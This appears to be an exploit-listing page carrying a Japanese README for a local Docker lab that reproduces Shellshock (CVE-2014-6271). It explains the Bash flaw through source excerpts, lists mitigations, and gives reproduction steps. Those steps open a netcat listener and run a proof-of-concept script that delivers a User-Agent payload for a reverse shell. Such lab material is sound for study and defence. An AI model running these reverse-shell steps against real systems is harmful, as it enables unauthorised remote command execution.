Sploitus

Exploit for Shellshock_CVE-2014-6271

kitploit · 2026-09-04

Exploit Code

MARKDOWN122 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CAVERM-SHELLSHOCK_CVE-2014-6271
# Shellshock CVE-2014-6271

Shellshock

### 

docker-compose.yml と poc.py ファイルをダウンロードしてください。 必ず pip install requests で requests ライブラリをダウンロードしてください!!! uv をお使いの方は uv を使って requests ライブラリを venv 内に配置してください!!!

### 

CVE 公式説明  
---  
GNU Bash 4.3 以前のバージョンでは、環境変数の値に関数定義の後に続く文字列を処理する問題がありました。この脆弱性を利用して、リモート攻撃者は細工された環境を通じて任意のコードを実行できました。この脆弱性は、OpenSSH sshd の ForceCommand 機能、Apache HTTP サーバの mod_cgi および mod_cgid モジュール、特定されていない DHCP クライアントで実行されるスクリプト、そして Bash の実行権限と環境変数の設定が異なる権限境界を越えて行われる複数の状況で発見されました。これを "ShellShock" とも呼びます。注:この問題に対する最初の修正は誤りであり、誤った修正後にも依然として存在するこの脆弱性に対処するために CVE-2014-7169 が割り当てられました。  
  
![](https://assets.kitploit.com/production/public/readmes/23727/c47718367c8b42895ad94de22971593a54492f63a2aff776756ed8cddeca88b1.png)

環境構成  
---  
  
Docker ファイル構成

os| web server| bash version  
---|---|---  
Debian 10| Apache| 4.2.37(1)  
  
![](https://assets.kitploit.com/production/public/readmes/23727/2f66067a766d56be520d0420de1f354ae38e498bb1e8b5990beb4c867da4f114.png)

docker compose up コマンドを実行したときに Webサーバを起動した状態を維持できるように Dockerfile を作成

Dockerfile の os や Apache などはすべて外部のリポジトリからダウンロードしたものなので ビルドしたイメージにタグを付けて Docker Hub に push し、そのイメージを docker-compose.yml ファイルで指定することで 元のイメージが削除されても問題がないように対処しました。

![](https://assets.kitploit.com/production/public/readmes/23727/57ec41326992b36f1862e773a935fd29f5ba888c195dd4eb5fec1ce71d58e602.png)

脆弱性の条件  
---  
  
Shellshock 脆弱性が存在する Bash シェルが必要です。私は 4.2.37(1) バージョンの bash シェルをダウンロードして使用しました。

![](https://assets.kitploit.com/production/public/readmes/23727/b131f00441e4400a29c4ae35ca798e28a6faa5d1b6946fb45421ec26c3e8a0fa.png)

さらに、コードを環境変数に登録した後に bash を呼び出さなければコードが実行されないため、bash を呼び出せるプログラムが存在する必要があります。 Webサーバでクライアントのリクエストを処理するために使用していた CGI プログラムをダウンロードしました。 CGI は規格 (RFC 3875) に従い、Webサーバはブラウザが送信したすべてのヘッダ情報を Linux の環境変数に格納して処理するように設計されています。

この条件の下で、Webサーバがリクエストを送信し、そのヘッダ情報が環境変数に保存されます (CGI 規格による)。 環境変数に関数定義の後に続く文字列が実行される脆弱性を持つ bash シェルを CGI が呼び出すことで攻撃が成立します。

リクエスト ( User-Agent ヘッダにコードを埋め込んで送信 ) -> CGI が bash を呼び出す -> リバースシェル接続

再現手順  
---  
  
  1. docker compose up コマンドで Webサーバを起動する。
  2. 新しいターミナルを開き、nc -lvp 4444 でリスニングを開始する。 ![](https://assets.kitploit.com/production/public/readmes/23727/cf6c17f8952c9412c4a48480e9442fb3ee8d37d570bdf5f771394715ea89a81b.png)
  3. poc.py を実行してリバースシェルを接続する。 
     * uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 ( 必ず 4444 でなくても構いません。どのポートでリスニングするかによって異なります )
     * python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 ( uv を使用しない方は python3 コマンドで実行してください!!! )



実現結果  
---  
  
再現手順 2 でリスニングしていたターミナルは、コンテナ内部の bash シェルと接続され、whoami、id などのコマンドを実行できます。 ![](images/リバースシェル 명령어 실행.png)

脆弱性の原因  
---  
  
root@kitploit:~
    
    
      '''
    if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
    {
    string_length = strlen (string);
    temp_string = (char *)xmalloc (3 + string_length + char_index);
    
    strcpy (temp_string, name);
    temp_string[char_index] = ' ';
    strcpy (temp_string + char_index + 1, string);
    
    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
    
    // 이하 생략 
    '''
    

脆弱性の原因は、bash シェルのコードのうち variables.c 内の initialize_shell_variables 関数にあります。 この関数自体も長すぎるため、核心部分だけを抜粋しました。

root@kitploit:~
    
    
    '''
    if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
    '''
    

上記の if 文は、STREQN ("() {", string, 4) で最初の 4 文字が "() {" であるかを確認しています。 一致した場合、関数として扱われるのです。 驚くべきことに、この後 string に対するフィルタリングはないため問題となりました。

root@kitploit:~
    
    
    '''
    strcpy (temp_string, name);
    temp_string[char_index] = ' ';
    strcpy (temp_string + char_index + 1, string); 
    

''' 上記のコードは名前と値を結合する処理です。上で検査した値なので string は "() {" で始まる形式であり、 name は環境変数の名前になります。

このように環境変数の名前と値を組み合わせて、以下のコードに渡してパースさせます。 フィルタが上記の "() {" を検査する部分のみだったため、関数の後に whoami、id、pwd などのコマンドを付け加えてもすべて実行されます。

root@kitploit:~
    
    
    '''
    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
     '''
    

対応策  
---  
Shellshock 脆弱性から安全なバージョンに Bash をアップグレードする。  
Bash シェルを呼び出すプログラムを使用しない。